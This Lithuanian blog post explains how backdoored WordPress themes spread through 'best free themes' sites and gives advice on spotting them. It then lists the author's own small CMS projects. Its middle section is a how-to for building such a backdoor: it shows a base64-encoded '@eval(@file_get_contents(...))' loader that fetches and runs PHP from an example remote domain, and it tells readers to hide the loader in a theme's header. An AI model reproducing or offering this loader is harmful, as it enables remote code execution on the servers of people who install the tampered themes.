WordPress temų hakeriai

Ne vieną kartą teko girdėti, o kartą ir pačiam išvysti, kaip atrodo hakerių nulaužtos WordPress temos. Šio straipsnio tikslas yra išmokyti jus atpažinti tokias pavojingas temas [šablonus, kaip kiti vadina], paaiškinti, kaip jos veikia, ir… šiek tiek pamokyti jus pačius nulaužinėti WordPress temas (aš pats to niekada nedariau ir tikrai (turbūt) nedarysiu, tačiau šis principas visai įdomus, taigi kodėl jo neišmokus? (: )

Kas tai?

Pirma, kas tai, kaip tai veikia ir kaip tai atpažįstama. Būdas, apie kurį kalbu (jų, žinoma, yra ne vienas), veikia taip:

  1. Laužėjas parsisiunčia populiariausias WordPress temas ir jas pakeičia, įterpdamas specialų PHP kodą (kodo pavyzdžiai bus žemiau).
  2. Jis sukuria kokį nors puslapį, kurioje talpina tas temas, neužsimindamas apie jokias modifikacijas. Tie puslapiai dažniausiai vadinasi “Best free WordPress themes” ar kažkas panašaus. Failai talpinami pačiame laužėjo serveryje, o temos autorius apie tokių puslapių egzistavimą dažniausiai nežino.
  3. Laužėjo puslapis greitai tampa populiarus, nes dažnas žmogus Googlyje ieško būtent tokių raktinių žodžių (best free wordpress themes).
  4. Žmonės parsisiunčia infekuotas temas, jas pradeda naudoti savo puslapiuose, laužėjo kodas pakraunamas kiekvieną kartą ir modifikuoja temą parsisiuntusio žmogaus svetainę jam nieko net nežinant (dažniausiai tiesiog įterpia daug nematomų nuorodų taip keldamas savo puslapių reitingą ir neretai žlugdydamas nekaltų žmonių puslapių vertę Google akyse)

Kaip tas kodas atrodo ir kaip jis atpažįstamas?

Dažniausiai kodas atrodo kaip visiška nesąmonė, raidžių košė, ir PHP nesuprantantys eiliniai vartotojai tiesiog bijo ką nors daryti, nes dar ką nors sugadintų… Ta makaliošė atrodo, pavyzdžiui, taip:

1
@eval(@base64_decode('QGV2YWwoQGZpbGVfZ2V0X2NvbnRlbnRzKCJodHRwOi8vbGVrZXZpY2l1cy5sdC9oYWNrLnBocCIpKTs='));

Tai gana sudėtingas kodas, kuriame yra daug PHP kalbai specifinių dalykų, bet prieš gilinantis į konkretų veikimą, labai trumpai, ką šitas kodas iš tiesų padaro: jis iškoduoja šitą raizgalynę, ir paaiškėja, kad po ja slepiasi komanda parsiųsti nurodyto failo turinį ir jį įvykdyti. Tai yra failas laužėjo serveryje, ir bet koks to failo turinys yra įvykdomas nieko nežinančio žmogaus serveryje. Dar gerai, kai tas kodas tik prideda nuorodų… galėtų ištrinti ir visą WordPress sistemą…

Yra keli būdai kaip jį atpažinti ir išvengti visokių bėdų:

  1. Temas siųskis tik iš kūrėjo puslapio. Geriausia, jog tai būtų patikimas ir santykinai žinomas autorius, nes gali atsirasti tokių, kurie kurs naujas temas specialiai dėl piktų kėslų.
  2. Dėl viso pikto permesk akimis temų failus ir pasižiūrėk, ar nėra tokių raidžių raizgalų. Jei yra — jokiu būdu nenaudok tos temos.
  3. Ir trečias būdas — klausyk, ką dūzgia blogosfera, WordPress oficialus ir kiti su šia sistema susiję blogai. Taip apie pavojų būsi įspėtas gana anksti, manau (:

Kaip pačiam paslėpti piktąjį kodą?

Žinau, kad laukei šitos dalies (: Jai reikės šiek tiek žinių, o ypač daug PHP žinių reikės rašant patį savo kenkėjišką kodą (čia jau patarimų neduosiu).

Pirma, mums reikės interneto serverio. Dauguma jį turi. Toliau reikės interneto adreso. Šitą turi visi, kas turi serverį. Jeigu nori būti „profesionalus niekšas”, tuomet adresas turėtų būti kuo trumpesnis. Tarkim, qdrxv.us ar kažkas panašaus. Prasmės jam visai nereikia. Kai viską turi, įkelk savo kenkėjišką kodą į failą su labai trumpu pavadinimu (tarkim, h.p). PHP galūnė faile nebūtina, o pačiame faile neturi būti <?php ir ?> ženklų. Tarkime, tavo blogio failas http://qdrxv.us/h.p atrodo taip:

1
print "labas";

Pirma dalis padaryta. Dabar reikia šią komandą užkoduoti. Paleidę tokią PHP komandą

1
print base64_encode('@eval(@file_get_contents("http://qdrxv.us/h.p"));');

gauname mums labai reikalingą raizgalą. Tada tą raizgalą įstatome į šią vietą:

1
@eval(@base64_decode('QGV2YWwoQGZpbGVfZ2V0X2NvbnRlbnRzKCJodHRwOi8vcWRyeHYudXMvaC5wIikpOw=='));

Šis kodas ir yra tas, kurį reikia paslėpti tarp temos failų. Geriausia dėti kur nors headeryje (: Siūlau pasibandyti, kokios yra tavo galimybės, kas veikia ir kas ne, bet pats principas toks. Laikas maniakiškui juokui: muahahahaha!


Mano Turinio Valdymo Sistemos

Disclaimer: Šitos TVS aka CMS yra parašytos ne php guru. Jos nėra absoliučiai saugios. Jokių garantijų neduodu. Šias sistemas rekomenduoju naudoti kaip edukacinę priemonę.

Kol kas esu suprogramavęs dvi turinio valdymo sistemas. Abi jos parašytos PHP kalba, abi informaciją saugo į txt failus.

WooCMS

Mano pirmoji ir vis dar galingiausia turinio valdymo sistema. Galimybės:

  • Turi administravimo skydelį (informacija atnaujinama grafine sąsaja)
  • Naudoja Textile tekstui apdoroti
  • Gražūs URL adresai, taigi beveik optimizuota paieškos sistemoms. (kažkodėl .htaccess failo zip’e nėra. Truputėlį tingiu jį ten įdėti. Bet iš esmės viskas veikia)
  • Labai paprasta, bet ne kvaila šablonų (išvaizdos) sistema.
  • Failų (uploads) tvarkyklė.

WooCMS gyvena čia. Kūrimas jau nutrauktas, nes ją turėtų pakeisti panašiai veikianti MySQL tipo sesė.

YoctoCMS

Turbūt pati mažiausia ir lengviausia TVS šioj planetoj, nes sunku būtų suprogramuoti sistemą, sveriančią mažiau nei 2,5 kilobaito. Absoliučiai paprasta, bet net turi šiek tiek funkcijų:

  • Gražūs URL (šį kartą .htaccess failas pridėtas)
  • Visas turinys tvarkomas tiesiog keičiant TXT failus
  • Dar gudresnė šablonų tvarkymo sistema
  • Automatinio sistemos atnaujinimo puslapis
  • Dvi versijos, iš kurių viena sistemą instaliuoja tiesiai iš internete esančių failų (taigi versija visada naujausia). Ta versija sveria mažiau nei 500 baitų

Šita CMS iš dalies yra tiesiog proof of concept, bet kartais būtent to ir tereikia. Visiškai smulkutės TVS, kuri sumaišytų turinį su išvaizda. YoctoCMS gyvena čia.

Jeigu kas nors neturi ką veikti ir nori jas išbandyti, komentarų visada mielai laukiu.



Mane rasi

TwitterTumblrFacebookBehanceLinkedInGoogle BuzzFlickrdeviantArtVimeoYouTube

Twitter

  • Naujienų portalų technologijų skiltis mane labai dažnai varo į neviltį, štai kodėl: http://ow.ly/2vrbJ 1 week ago
  • Žiauriai nekažką — MacBook'o CD skaitytuvas neišmeta disko, o išbandžiau turbūt visus interneto patarimus. http://tvider.com/1m7q 1 month ago
  • himno giedojimas V. Kudirkos aikštėje - trumpiausias (2 min?) masinis renginys, kuriame buvau (: 2 months ago
  • Beje, žinau, kad daug kas rodo live-stream'ą, štai lifehacker'io sąrašas: http://bit.ly/9sgq7M Tačiau VISI jie turi location restrictions. 2 months ago
  • Stebiu Danija vs. Olandija. 2010, ir niekas negali live-streaminti vaizdo internetu? Tenka tenkintis fifos text-sreamu. 2 months ago

Flickr

IMG_0885IMG_0897IMG_0867IMG_0863IMG_0861IMG_0857